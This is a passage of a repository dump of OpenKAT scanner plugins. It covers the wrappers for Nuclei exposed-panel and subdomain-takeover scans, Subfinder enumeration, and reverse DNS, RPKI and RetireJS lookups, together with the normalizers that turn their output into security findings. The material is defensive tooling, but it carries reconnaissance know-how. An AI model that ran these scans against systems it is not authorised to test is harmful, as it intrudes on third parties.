    "content": "# Nuclei - Project discovery\n\nNuclei is used to send requests across targets based on a template, leading to zero false positives\nand providing fast scanning on a large number of hosts. Nuclei offers scanning for a variety of protocols,\nincluding TCP, DNS, HTTP, SSL, File, Whois, Websocket, Headless etc. With powerful and flexible templating,\nNuclei can be used to model all kinds of security checks.\n\nIntegrated in this Boefje are only the exposed-panels templates for performance reasons.\n\n[More information about Nucelei](https://github.com/projectdiscovery/nuclei)\n\n### Input OOIs\n\nNuclei expects a Hostname/HostnameHTTPURL object of a website as input. The scan will then use the [exposed panels directory](https://github.com/projectdiscovery/nuclei-templates/tree/main/exposed-panels)\nto scan for known exposed panels\n\nthis is handled by the following parameter in the \"main.py\" file\n\n```\n   \"-t\", \"/root/nuclei-templates/exposed-panels/\"\n```\n\n### Output OOIs\n\nNuclei outputs the following OOIs:\n\n| OOI type       | Description                                          |\n| -------------- | ---------------------------------------------------- |\n| KATFindingType | Returns exposed panels found on the target hostnames |\n| Finding        | Finding                                              |\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nuclei_exposed_panels/normalize.py",
    "content": "import json\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    url_reference = Reference.from_str(input_ooi[\"primary_key\"])\n    if raw:\n        for line in raw.splitlines():\n            # Extract and parse values\n            data = json.loads(line)\n            description = data[\"info\"][\"description\"]\n            curl_command = data[\"curl-command\"]\n\n            # Create instances of CVEFindingType and Finding classes\n            kft = KATFindingType(id=\"EXPOSED-PANELS\")\n            yield kft\n\n            finding = Finding(\n                finding_type=kft.reference,\n                ooi=url_reference,\n                proof=curl_command,\n                description=description,\n                reproduce=None,  # Set this attribute if you have a reproduce value\n            )\n            yield finding\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nuclei_exposed_panels/normalizer.json",
    "content": "{\n  \"id\": \"kat_nuclei_exposed_panels_normalize\",\n  \"name\": \"Nuclei exposed admin panels\",\n  \"description\": \"Parses Nuclei of exposed panels into findings.\",\n  \"consumes\": [\n    \"boefje/nuclei-exposed-panels\",\n    \"openkat/nuclei-output\"\n  ],\n  \"produces\": [\n    \"Finding\",\n    \"KATFindingType\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nuclei_take_over/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nuclei_take_over/boefje.json",
    "content": "{\n  \"id\": \"nuclei-takeover\",\n  \"name\": \"Nuclei takeover scan\",\n  \"description\": \"Nuclei is used to send requests across targets based on a template, providing fast scanning. This will try to perform a sub sub-domain takeover.\",\n  \"consumes\": [\n    \"Hostname\"\n  ],\n  \"scan_level\": 3,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-nuclei:latest\",\n  \"oci_arguments\": [\n    \"/root/nuclei-templates/http/takeovers/\",\n    \"-jsonl\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nuclei_take_over/description.md",
    "content": "# Nuclei - Project discovery\n\nNuclei is used to send requests across targets based on a template, leading to zero false positives\nand providing fast scanning on a large number of hosts. Nuclei offers scanning for a variety of protocols,\nincluding TCP, DNS, HTTP, SSL, File, Whois, Websocket, Headless etc. With powerful and flexible templating,\nNuclei can be used to model all kinds of security checks.\n\nIntegrated in this Boefje are only the \"takeovers\" templates for performance reasons.\n\n[More information about Nucelei](https://github.com/projectdiscovery/nuclei)\n\n### Input OOIs\n\nNuclei expects a Hostname/HostnameHTTPURL object of a website as input. The scan will then use the [takeovers directory](https://github.com/projectdiscovery/nuclei-templates/tree/main/takeovers)\nto scan for sub-domain takeovers\n\nthis is handled by the following parameter in the \"main.py\" file\n\n```\n   \"-t\", \"/root/nuclei-templates/takeovers/\"\n```\n\n### Output OOIs\n\nNuclei outputs the following OOIs:\n\n| OOI type       | Description                                               |\n| -------------- | --------------------------------------------------------- |\n| KATFindingType | Returns sub-domain takovers found on the target hostnames |\n| Finding        | Finding                                                   |\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nuclei_take_over/normalize.py",
    "content": "import json\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    url_reference = Reference.from_str(input_ooi[\"primary_key\"])\n    if raw:\n        for line in raw.splitlines():\n            # Extract and parse values\n            data = json.loads(line)\n            info = data[\"info\"][\"name\"]\n            curl_command = data[\"curl-command\"]\n\n            # Create instances of CVEFindingType and Finding classes\n            kft = KATFindingType(id=\"SUB-DOMAIN-TAKEOVER\")\n            yield kft\n\n            finding = Finding(\n                finding_type=kft.reference,\n                ooi=url_reference,\n                proof=curl_command,\n                description=info,\n                reproduce=None,  # Set this attribute if you have a reproduce value\n            )\n            yield finding\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_nuclei_take_over/normalizer.json",
    "content": "{\n  \"id\": \"kat_nuclei_takeover_normalize\",\n  \"name\": \"Nuclei takeover\",\n  \"description\": \"Parses Nuclei takeover data into findings.\",\n  \"consumes\": [\n    \"boefje/nuclei-takeover\",\n    \"openkat/nuclei-output\"\n  ],\n  \"produces\": [\n    \"Finding\",\n    \"KATFindingType\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_pdio_subfinder/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_pdio_subfinder/boefje.Dockerfile",
    "content": "FROM golang:1.24-alpine AS build\nARG SUBFINDER_VERSION=v2.6.6\n\nRUN go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@${SUBFINDER_VERSION}\n\nFROM openkat/boefje-base:latest\n\nARG OCI_IMAGE=ghcr.io/minvws/openkat/pdio-subfinder:latest\nENV OCI_IMAGE=$OCI_IMAGE\n\nCOPY --from=build /go/bin/subfinder /usr/local/bin/\n\nCOPY ./boefjes/plugins/kat_pdio_subfinder ./kat_pdio_subfinder\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_pdio_subfinder/boefje.Dockerfile.dockerignore",
    "content": "**/__pycache__\n**/boefje.Dockerfile*\n**/description.md\n**/cover.jpg\n**/normalize.py\n**/normalizer.json\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_pdio_subfinder/boefje.json",
    "content": "{\n  \"id\": \"pdio-subfinder\",\n  \"name\": \"Subfinder\",\n  \"description\": \"A subdomain discovery tool. (projectdiscovery.io). Returns valid subdomains for websites using passive online sources. Beware that many of the online sources require their own API key to get more accurate data.\",\n  \"consumes\": [\n    \"DNSZone\"\n  ],\n  \"environment_keys\": [\n    \"SUBFINDER_RATE_LIMIT\",\n    \"SUBFINDER_VERSION\"\n  ],\n  \"scan_level\": 1,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-pdio-subfinder:latest\",\n  \"oci_arguments\": []\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_pdio_subfinder/description.md",
    "content": "Boefje wrapping [Subfinder](https://github.com/projectdiscovery/subfinder) by [projectdiscovery.io](projectdiscovery.io)\n\n> Subfinder is a subdomain discovery tool that returns valid subdomains for websites, using passive online sources. It has a simple, modular architecture and is optimized for speed. subfinder is built for doing one thing only - passive subdomain enumeration, and it does that very well.\n\n> We have made it to comply with all the used passive source licenses and usage restrictions. The passive model guarantees speed and stealthiness that can be leveraged by both penetration testers and bug bounty hunters alike.\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_pdio_subfinder/main.py",
    "content": "import logging\nimport os\nimport subprocess\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    \"\"\"Run subfinder with only active domains output.\"\"\"\n    rate_limit = int(os.getenv(\"SUBFINDER_RATE_LIMIT\", \"2\"))\n    timeout = int(os.getenv(\"SUBFINDER_RATE_TIMEOUT\", \"30\"))\n    input_ = boefje_meta[\"arguments\"][\"input\"]\n    hostname = input_[\"hostname\"][\"name\"]\n\n    logging.info(\"Using subfinder with rate limit %s on %s\", rate_limit, hostname)\n\n    output = subprocess.run(\n        [\n            \"/usr/local/bin/subfinder\",\n            \"-silent\",\n            \"-active\",\n            \"-rate-limit\",\n            str(rate_limit),\n            \"-d\",\n            hostname,\n            \"-all\",\n            \"-timeout\",\n            str(timeout),\n        ],\n        capture_output=True,\n    )\n    output.check_returncode()\n\n    return [({\"openkat/pdio-subfinder\"}, output.stdout.decode())]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_pdio_subfinder/normalize.py",
    "content": "from collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import Network\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    network_reference = Network(name=\"internet\").reference  # subfinder only sees the internet\n\n    for hostname in raw.decode().splitlines():\n        hostname_ooi = Hostname(name=hostname, network=network_reference)\n        yield hostname_ooi\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_pdio_subfinder/normalizer.json",
    "content": "{\n  \"id\": \"pdio-subfinder-normalizer\",\n  \"name\": \"PDIO subfinder\",\n  \"description\": \"Parses ProjectDiscovery subfinder data for finding subdomains.\",\n  \"consumes\": [\n    \"boefje/pdio-subfinder\",\n    \"openkat/pdio-subfinder\"\n  ],\n  \"produces\": [\n    \"Hostname\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_pdio_subfinder/schema.json",
    "content": "{\n  \"title\": \"Arguments\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"SUBFINDER_RATE_LIMIT\": {\n      \"title\": \"SUBFINDER_RATE_LIMIT\",\n      \"type\": \"integer\",\n      \"minimum\": 1,\n      \"maximum\": 65535,\n      \"description\": \"Maximum number of http requests to send per second.\"\n    },\n    \"SUBFINDER_VERSION\": {\n      \"title\": \"SUBFINDER_VERSION\",\n      \"type\": \"string\",\n      \"maxLength\": 10,\n      \"description\": \"Version string including 'v', e.g. 'v2.6.6'.\"\n    }\n  },\n  \"required\": []\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_rdns/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_rdns/boefje.json",
    "content": "{\n  \"id\": \"rdns\",\n  \"name\": \"Reverse DNS\",\n  \"description\": \"Resolve IP addresses to a hostname.\",\n  \"consumes\": [\n    \"IPAddressV4\",\n    \"IPAddressV6\"\n  ],\n  \"scan_level\": 1,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\",\n  \"oci_arguments\": [\n    \"kat_rdns.main\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_rdns/description.md",
    "content": "Reverse DNS (Domain Name System) is a method of converting an IP address back to the corresponding domain name. While regular DNS translates domain names (e.g., example.com) to IP addresses (e.g., 192.0.2.1), reverse DNS performs the reverse function.\n\nReverse DNS works by attaching an IP address to a domain name by creating a special domain name that follows a specific format. This special domain name is called a \"reverse DNS lookup\" or \"PTR record\" (Pointer record). The PTR record is stored in a special zone called the \"in-addr.arpa\" zone.\n\nCat name: Murphy\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_rdns/main.py",
    "content": "from os import getenv\n\nimport dns\nfrom dns.edns import EDEOption\nfrom dns.resolver import Answer\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    \"\"\"return results to normalizer.\"\"\"\n    ip = boefje_meta[\"arguments\"][\"input\"][\"address\"]\n\n    resolver = dns.resolver.Resolver()\n    # https://dnspython.readthedocs.io/en/stable/_modules/dns/edns.html\n    # enable EDE to get the ServFail return values if the server supports it # codespell-ignore\n    resolver.use_edns(options=[EDEOption(15)])\n    resolver.nameservers = [getenv(\"REMOTE_NS\", \"1.1.1.1\")]\n    reverse_ip = dns.reversename.from_address(ip)\n    try:\n        answer: Answer = resolver.resolve(reverse_ip, \"PTR\")\n        result = f\"RESOLVER: {answer.nameserver}\\n{answer.response}\"\n        return [(set(), result)]\n    except dns.resolver.NXDOMAIN:\n        return [(set(), \"NXDOMAIN\")]\n    except dns.resolver.NoNameservers as error:\n        # no servers responded happily, we'll check the response from the first\n        # https://dnspython.readthedocs.io/en/latest/_modules/dns/rcode.html\n        # https://www.rfc-editor.org/rfc/rfc8914#name-extended-dns-error-code-6-d\n        first_error = error.kwargs[\"errors\"][0]\n        if first_error[3] == \"SERVFAIL\":\n            for ede_error in first_error[4].options:\n                if int(ede_error.code) == 22:\n                    # Auth nameserver for ip could not be reached, error codes defined in RFC 8914\n                    return [(set(), \"NoAuthServersReachable:\" + ede_error.text)]\n                    # returned when the resolver indicates a Lame delegation.\n        return [(set(), \"NoAnswer\")]\n    except (dns.resolver.Timeout, dns.resolver.NoAnswer):\n        return [(set(), \"NoAnswer\")]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_rdns/normalize.py",
    "content": "from collections.abc import Iterable\n\nfrom dns.message import from_text\nfrom dns.rdtypes.ANY.PTR import PTR\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.dns.records import DNSPTRRecord\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.network import Network\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    reference = Reference.from_str(input_ooi[\"primary_key\"])\n\n    answers = raw.decode()\n    if answers == \"NXDOMAIN\" or answers == \"NoAnswer\":\n        return\n    if answers.startswith(\"NoAuthServersReachable:\"):\n        ft = KATFindingType(id=\"KAT-LAME-DELEGATION\")\n        f = Finding(finding_type=ft.reference, ooi=reference, description=answers.split(\":\", 1)[1])\n        yield ft\n        yield f\n    else:\n        lines = [line for line in answers.split(\"\\n\") if not line.startswith(\"option\")]\n        for rrset in from_text(\"\\n\".join(lines[1:])).answer:\n            for rr in rrset:\n                if isinstance(rr, PTR):\n                    value = rrset.to_text()\n                    hostname = Hostname(\n                        name=rr.to_text().rstrip(\".\"), network=Network(name=input_ooi[\"network\"][\"name\"]).reference\n                    )\n                    yield hostname\n                    ptr_record = DNSPTRRecord(\n                        address=reference, hostname=hostname.reference, value=value, ttl=rrset.ttl\n                    )\n                    yield ptr_record\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_rdns/normalizer.json",
    "content": "{\n  \"id\": \"kat_rdns_normalize\",\n  \"name\": \"Reverse DNS\",\n  \"description\": \"Parses reverse DNS data into PTR records.\",\n  \"consumes\": [\n    \"boefje/rdns\"\n  ],\n  \"produces\": [\n    \"DNSPTRRecord\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_report_data/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_report_data/normalize.py",
    "content": "from collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerDeclaration, NormalizerOutput\nfrom octopoes.models.ooi.reports import ReportData\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    ooi = ReportData.model_validate_json(raw)\n    return [NormalizerDeclaration(ooi=ooi)]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_report_data/normalizer.json",
    "content": "{\n  \"id\": \"kat_report_data\",\n  \"name\": \"Report data\",\n  \"description\": \"Parses (uploaded) report data to create reports.\",\n  \"consumes\": [\n    \"openkat/report-data\"\n  ],\n  \"produces\": [\n    \"ReportData\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_retirejs_finding_types/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_retirejs_finding_types/boefje.json",
    "content": "{\n  \"id\": \"retirejs-finding-types\",\n  \"name\": \"RetireJS Finding Types\",\n  \"description\": \"Hydrate information of RetireJS finding types.\",\n  \"consumes\": [\n    \"RetireJSFindingType\"\n  ],\n  \"scan_level\": 0,\n  \"enabled\": true,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\",\n  \"oci_arguments\": [\n    \"kat_retirejs_finding_types.main\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_retirejs_finding_types/description.md",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_retirejs_finding_types/main.py",
    "content": "import requests\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    response = requests.get(\n        \"https://raw.githubusercontent.com/RetireJS/retire.js/v3/repository/jsrepository.json\", timeout=30\n    )\n\n    return [(set(), response.content)]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_retirejs_finding_types/normalize.py",
    "content": "import hashlib\nimport json\nimport logging\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerAffirmation, NormalizerOutput\nfrom octopoes.models.ooi.findings import RetireJSFindingType, RiskLevelSeverity\n\nlogger = logging.getLogger(__name__)\n\n\nSEVERITY_SCORE_LOOKUP = {\n    RiskLevelSeverity.CRITICAL: 10.0,\n    RiskLevelSeverity.HIGH: 8.9,\n    RiskLevelSeverity.MEDIUM: 6.9,\n    RiskLevelSeverity.LOW: 3.9,\n    RiskLevelSeverity.RECOMMENDATION: 0.0,\n}\n\n\ndef _hash_identifiers(identifiers: dict[str, str | list[str]]) -> str:\n    pre_hash = \"\"\n    for identifier in identifiers.values():\n        pre_hash += \"\".join(identifier)\n    return hashlib.sha1(pre_hash.encode()).hexdigest()[:4]\n\n\ndef _create_description(finding: dict) -> str:\n    if \"summary\" in finding[\"identifiers\"]:\n        description = finding[\"identifiers\"][\"summary\"] + \". More information at: \"\n    else:\n        description = \"No summary available. Find more information at: \"\n\n    info = finding[\"info\"]\n    description += \", \".join(info[:-1])\n    if len(info) > 1:\n        description += \" or \" + info[-1]\n    else:\n        description += info[0]\n\n    return description\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    retirejs_finding_type_id = input_ooi[\"id\"]\n    data = json.loads(raw)\n\n    _, name, hashed_id = retirejs_finding_type_id.split(\"-\")\n\n    software = [\n        brand\n        for brand in data\n        if name == brand.lower().replace(\" \", \"\").replace(\"_\", \"\").replace(\"-\", \"\").replace(\".\", \"\")\n    ][0]\n    issues = data[software][\"vulnerabilities\"]\n\n    finding = [issue for issue in issues if _hash_identifiers(issue[\"identifiers\"]) == hashed_id]\n\n    if not finding:\n        return\n\n    risk_severity = RiskLevelSeverity(finding[0][\"severity\"].lower())\n    risk_score = SEVERITY_SCORE_LOOKUP[risk_severity]\n\n    yield NormalizerAffirmation(\n        ooi=RetireJSFindingType(\n            id=retirejs_finding_type_id,\n            description=_create_description(finding[0]),\n            risk_severity=risk_severity,\n            risk_score=risk_score,\n        )\n    )\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_retirejs_finding_types/normalizer.json",
    "content": "{\n  \"id\": \"kat_retirejs_finding_types_normalize\",\n  \"name\": \"RetireJS finding types\",\n  \"description\": \"Parses RetireJS data into findings.\",\n  \"consumes\": [\n    \"boefje/retirejs-finding-types\"\n  ],\n  \"produces\": [\n    \"RetireJSFindingType\"\n  ],\n  \"enabled\": true\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_rpki/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_rpki/boefje.json",
    "content": "{\n  \"id\": \"rpki\",\n  \"name\": \"RPKI\",\n  \"description\": \"Check BGP announcements to see if an IPv4 or IPv6 address has Validated ROA Payload (VRPs).\",\n  \"consumes\": [\n    \"IPAddressV4\",\n    \"IPAddressV6\"\n  ],\n  \"scan_level\": 1,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\",\n  \"oci_arguments\": [\n    \"kat_rpki.main\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_rpki/main.py",
    "content": "\"\"\"Boefje script for validating vrps records based on code from @trideeindhoven\"\"\"\n\nimport hashlib\nimport json\nimport os\nimport tempfile\nfrom datetime import datetime, timezone\nfrom ipaddress import ip_address\nfrom os import getenv\nfrom pathlib import Path\n\nimport requests\nfrom netaddr import IPAddress, IPNetwork\n\n# Paths and URLs for RPKI\nBASE_PATH = Path(getenv(\"OPENKAT_CACHE_PATH\", Path(__file__).parent))\n\nif BASE_PATH.name != Path(__file__).parent.name:\n    BASE_PATH = BASE_PATH / Path(__file__).parent.name\n    BASE_PATH.mkdir(exist_ok=True)\n\nRPKI_PATH = BASE_PATH / \"rpki.json\"\nRPKI_META_PATH = BASE_PATH / \"rpki-meta.json\"\nRPKI_SOURCE_URL = \"https://console.rpki-client.org/vrps.json\"\n\n# Paths and URLs for BGP\nBGP_PATH = BASE_PATH / \"bgp.jsonl\"\nBGP_META_PATH = BASE_PATH / \"bgp-meta.json\"\nBGP_SOURCE_URL = \"https://bgp.tools/table.jsonl\"\n\n# Cache timeout and default hash function\nRPKI_CACHE_TIMEOUT = 1800  # in seconds\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    input_ = boefje_meta[\"arguments\"][\"input\"]\n    ip = input_[\"address\"]\n    hash_algorithm = getenv(\"HASHFUNC\", \"sha256\")\n\n    # if the address is private, we do not need a ROA\n    if not ip_address(ip).is_global:\n        return [({\"openkat/deschedule\"}, \"IP address is private, no need for RPKI validation\")]\n\n    # RPKI cache check and refresh\n    if not RPKI_PATH.exists() or not RPKI_META_PATH.exists() or cache_out_of_date(RPKI_META_PATH):\n        rpki_json, rpki_meta = refresh_cache(RPKI_SOURCE_URL, RPKI_PATH, RPKI_META_PATH, hash_algorithm)\n    else:\n        rpki_json = load_json(RPKI_PATH)\n        rpki_meta = load_json(RPKI_META_PATH)\n\n    if not BGP_PATH.exists() or not BGP_META_PATH.exists() or cache_out_of_date(BGP_META_PATH):\n        bgp_data, bgp_meta = refresh_cache(\n            BGP_SOURCE_URL, BGP_PATH, BGP_META_PATH, hash_algorithm, file_extension=\"jsonl\"\n        )\n    else:\n        bgp_data = load_jsonl(BGP_PATH)\n        bgp_meta = load_json(BGP_META_PATH)\n\n    exists = False\n    roas = []\n    bgp_entries = []\n    invalid_bgp_entries = []\n    if isinstance(rpki_json, dict) and \"roas\" in rpki_json:\n        for roa in rpki_json[\"roas\"]:\n            if IPAddress(ip) in IPNetwork(roa[\"prefix\"]):\n                expires = datetime.fromtimestamp(roa[\"expires\"])\n                asn = roa[\"asn\"]\n                roas.append(\n                    {\n                        \"prefix\": roa[\"prefix\"],\n                        \"expires\": expires.strftime(\"%Y-%m-%dT%H:%M%z\"),\n                        \"ta\": roa[\"ta\"],\n                        \"asn\": asn,\n                    }\n                )\n                exists = True\n\n    if roas:\n        asns = {r[\"asn\"] for r in roas}\n\n        # check validity through bgp json\n        invalid_asns = set()\n        for entry in bgp_data:\n            if IPAddress(ip) in IPNetwork(entry[\"CIDR\"]):\n                bgp_entries.append(entry)\n                if entry[\"ASN\"] not in asns:\n                    invalid_asns.add(entry[\"ASN\"])\n\n        for invalid_asn in invalid_asns:\n            invalid_bgp_entries.append({\"ip\": ip, \"asn\": invalid_asn})\n\n    results = {\n        \"vrps_records\": roas,\n        \"exists\": exists,\n        \"bgp_entries\": bgp_entries,\n        \"invalid_bgp_entries\": invalid_bgp_entries,\n    }\n\n    return [\n        ({\"rpki/results\"}, json.dumps(results)),\n        ({\"rpki/cache-meta\"}, json.dumps(rpki_meta)),\n        ({\"rpki/bgp-cache-meta\"}, json.dumps(bgp_meta)),\n    ]\n\n\ndef cache_out_of_date(meta_path: Path) -> bool:\n    \"\"\"Returns True if the cache file is older than the allowed cache_timeout\"\"\"\n    now = datetime.now(timezone.utc)\n    maxage = int(getenv(\"RPKI_CACHE_TIMEOUT\", RPKI_CACHE_TIMEOUT))\n    meta = load_json(meta_path)\n    try:\n        cached_file_timestamp = datetime.fromisoformat(meta[\"timestamp\"])\n    # for old meta cache files that have the old timestamp format\n    except ValueError:\n        return True\n    return (now - cached_file_timestamp).total_seconds() > maxage\n\n\ndef refresh_cache(\n    source_url: str, data_path: Path, meta_path: Path, algo: str, file_extension: str = \"json\"\n) -> tuple[dict | list, dict]:\n    \"\"\"Refreshes the cache for either RPKI or BGP data. Handles both JSON and JSON Lines formats.\"\"\"\n    headers = {\"User-Agent\": getenv(\"USERAGENT\", default=\"OpenKAT\")}\n    response = requests.get(source_url, headers=headers, allow_redirects=True, timeout=30)\n    response.raise_for_status()\n\n    with tempfile.NamedTemporaryFile(mode=\"wb\", dir=data_path.parent, delete=False) as temp_file:\n        temp_file.write(response.content)\n        # Atomic operation to move temp file to permanent location\n        os.rename(temp_file.name, data_path)\n\n    # Processing the response content based on format\n    if file_extension == \"json\":\n        data = json.loads(response.content)\n    elif file_extension == \"jsonl\":\n        # For JSON Lines, parse each line separately\n        data = [json.loads(line) for line in response.content.decode().splitlines()]\n    else:\n        raise ValueError(f\"Unsupported format: {file_extension}\")\n\n    # Creating metadata\n    metadata = {\n        \"timestamp\": datetime.now(timezone.utc).isoformat(),\n        \"source\": source_url,\n        \"hash\": create_hash(response.content, algo),\n        \"hash_algorithm\": algo,\n    }\n    with open(meta_path, \"w\") as meta_file:\n        json.dump(metadata, meta_file)\n\n    return data, metadata\n\n\ndef create_hash(data: bytes, algo: str) -> str:\n    hashfunc = getattr(hashlib, algo)\n    return hashfunc(data).hexdigest()\n\n\ndef load_json(path: Path) -> dict:\n    \"\"\"Utility function to load a JSON file\"\"\"\n    with path.open() as json_file:\n        return json.load(json_file)\n\n\ndef load_jsonl(path: Path) -> list:\n    \"\"\"Utility function to load a JSON Lines file\"\"\"\n    with path.open(\"r\") as file:\n        return [json.loads(line) for line in file]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_rpki/normalize.py",
    "content": "import json\nfrom collections.abc import Iterable\nfrom ipaddress import ip_address\n\nfrom boefjes.normalizer_models import NormalizerOutput\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    results = json.loads(raw)\n    ooi = Reference.from_str(input_ooi[\"primary_key\"])\n\n    address = ip_address(ooi.tokenized.address)\n\n    # if the address is private, we do not need a ROA\n    if address.is_global:\n        if not results[\"exists\"]:\n            ft = KATFindingType(id=\"KAT-NO-RPKI\")\n            f = Finding(finding_type=ft.reference, ooi=ooi)\n            yield ft\n            yield f\n\n        if results[\"invalid_bgp_entries\"]:\n            ft = KATFindingType(id=\"KAT-INVALID-RPKI\")\n            f = Finding(finding_type=ft.reference, ooi=ooi)\n            yield ft\n            yield f\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_rpki/normalizer.json",
    "content": "{\n  \"id\": \"kat_rpki_normalize\",\n  \"name\": \"RPKI\",\n  \"description\": \"Parses RPKI data into findings.\",\n  \"consumes\": [\n    \"rpki/results\"\n  ],\n  \"produces\": [\n    \"Finding\",\n    \"KATFindingType\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_rpki/requirements.txt",
    "content": "requests == 2.33.0\nnetaddr == 0.9.0\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_rpki/schema.json",
    "content": "{\n  \"title\": \"Arguments\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"RPKI_CACHE_TIMEOUT\": {\n      \"title\": \"Max age in seconds of the RPKI Cached data file\",\n      \"minimum\": 60,\n      \"maximum\": 604800,\n      \"default\": 1800,\n      \"type\": \"integer\",\n      \"description\": \"How long should the cache file of RPKI information remain valid? After this timeout a newer version will be downloaded. Setting the cache high might result in False positives, but improves performance.\"\n    },\n    \"RPKI_SOURCE_URL\": {\n      \"title\": \"Source url for RPKI information\",\n      \"default\": \"https://console.rpki-client.org/vrps.json\",\n      \"maxLength\": 256,\n      \"type\": \"string\",\n      \"description\": \"Source url with RPKI information. The boefje expects the same format as used in the default url.\"\n    },\n    \"HASHFUNC\": {\n      \"title\": \"Hash function\",\n      \"default\": \"sha256\",\n      \"type\": \"string\",\n      \"enum\": [\n        \"sha256\",\n        \"sha384\",\n        \"sha512\",\n        \"sha3_224\",\n        \"sha3_256\",\n        \"sha3_384\",\n        \"sha3_512\"\n      ],\n      \"description\": \"The hashing function used to compute the hash over the downloaded source data.\"\n    }\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_security_txt_downloader/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_security_txt_downloader/boefje.json",
    "content": "{\n  \"id\": \"security_txt_downloader\",\n  \"name\": \"Security.txt downloader\",\n  \"description\": \"Downloads the security.txt file from the target website to check if it contains all the required elements.\",\n  \"consumes\": [\n    \"Website\"\n  ],\n  \"scan_level\": 2,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\",\n  \"oci_arguments\": [\n    \"kat_security_txt_downloader.main\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_security_txt_downloader/description.md",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_security_txt_downloader/main.py",
